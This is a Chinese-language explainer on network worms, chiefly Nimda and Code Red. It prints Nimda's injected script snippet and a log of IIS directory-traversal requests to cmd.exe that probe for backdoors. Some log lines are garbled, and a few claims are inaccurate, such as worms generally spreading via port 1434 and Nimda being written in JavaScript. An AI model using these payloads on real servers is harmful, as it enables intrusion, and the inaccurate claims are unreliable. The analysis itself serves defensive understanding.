① 網路蠕蟲病毒代碼分析
蠕蟲病毒是自包含的程序(或是一套程序),它能傳播它自身功能的拷貝或它的某些部分到其
他的計算機系統中(通常是經過網路連接)。請注意,與一般病毒不同,蠕蟲不需要將其自身附著到宿主程序,有兩種類型的蠕蟲:主機蠕蟲與網路蠕蟲。主計算機蠕蟲完全包含在它們運行的計算機中,並且使用網路的連接僅將自身拷貝到其他的計算機中,主計算機蠕蟲在將其自身的拷貝加入到另外的主機後,就會終止它自身(因此在任意給定的時刻,只有一個蠕蟲的拷貝運行),這種蠕蟲有時也叫"野兔",蠕蟲病毒一般是通過1434埠漏洞傳播。
比如近幾年危害很大的「尼姆亞」病毒就是蠕蟲病毒的一種,2007年1月流行的「熊貓燒香」以及其變種也是蠕蟲病毒。這一病毒利用了微軟視窗操作系統的漏洞,計算機感染這一病毒後,會不斷自動撥號上網,並利用文件中的地址信息或者網路共享進行傳播,最終破壞用戶的大部分重要數據。蠕蟲病毒的一般防治方法是:使用具有實時監控功能的殺毒軟體,並且注意不要輕易打開不熟悉的郵件附件。
形成原因利用漏洞主動進行攻擊
此類病毒主要是「紅色代碼」和「尼姆亞」,以及至今依然肆虐的「求職信」等。由於IE瀏覽器的漏洞(IFRAMEEXECCOMMAND),使得感染了「尼姆亞」病毒的郵件在不去手工打開附件的情況下病毒就能激活,而此前即便是很多防病毒專家也一直認為,帶有病毒附件的郵件,只要不去打開附件,病毒不會有危害。「紅色代碼」是利用了微軟IIS伺服器軟體的漏洞(idq.dll遠程緩存區溢出)來傳播,SQL蠕蟲王病毒則是利用了微軟的資料庫系統的一個漏洞進行大肆攻擊。
傳播方式多樣
如「尼姆亞」病毒和」求職信」病毒,可利用的傳播途徑包括文件、電子郵件、Web伺服器、網路共享等等。
病毒製作技術新
與傳統的病毒不同的是,許多新病毒是利用當前最新的編程語言與編程技術實現的,易於修改以產生新的變種,從而逃避反病毒軟體的搜索。另外,新病毒利用Java、ActiveX、VBScript等技術,可以潛伏在HTML頁面里,在上網瀏覽時觸發。
② Nimda蠕蟲病毒的分析
被感染的機器會發送一份Nimda病毒代碼復本到任何在掃描中發現有漏洞的伺服器。一旦在該伺服器上運行,蠕蟲就會遍歷系統里的每一個目錄(甚至包括所有通過共享文件可以讀取得目錄),然後會在磁碟里留下一份自身拷貝,取名為README.EML。一旦找到了含有web內容的目錄(包含html或asp文件),下面Javascript代碼段就會被添加到每一個跟web有關的文件中:
<script language=JavaScript>window.open(readme.eml,null,
resizable=no,top=6000,left=6000)
</script>
這段代碼使得蠕蟲可以進一步繁衍,通過瀏覽器或瀏覽網路文件感染到新的客戶端。
通過瀏覽器傳播
作為感染過程的一部分,Nimda 更改所有的含有web內容的文件(象 .htm,,html,.asp 等文件)。這樣,任何用戶瀏覽該文件,不管是通過瀏覽器還是網路,就可能會下載一份該病毒。有些瀏覽器會自動的執行下載動作,感染正在瀏覽該網站的機器。
通過文件系統感染
Nimda病毒生成大量的自身的復本,取名為README.EML,寫到該用戶有可寫許可權的目錄里。如果在另一台機器的用戶通過網路共享選取病毒文件,並且設置了預覽功能的話,蠕蟲就會威脅到這台新的機器。
系統記錄
對任何開放80/tcp埠的web伺服器,Nimda蠕蟲的掃描會生成下面的日誌:
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/.. ../.. ../..
x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/.. ../winnt/system32/cmd.exe?/c+dir
GET /scripts/.. /../winnt/system32/cmd.exe?/c+dir
GET /scripts/.. ../winnt/system32/cmd.exe?/c+dir
GET /scripts/.. ../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
註:這個例子的前四行表明在試圖連接Red Code Ⅱ 留下的後門,例子的其餘部分在試圖利用Directory Traversal 漏洞。
③ 尼姆達病毒的介紹
尼姆達病毒(Nimda)是典型的蠕蟲病毒,病毒由JavaScript腳本語言編寫,病毒通過email、共享網路資源、IIS伺服器、網頁瀏覽傳播,修改本地驅動器上的.htm,.html和.asp文件。此病毒可以使IE和Outlook Express載入產生readme.eml病毒文件。該文件將尼姆達蠕蟲作為附件,不需要拆開或運行這個附件病毒就被執行。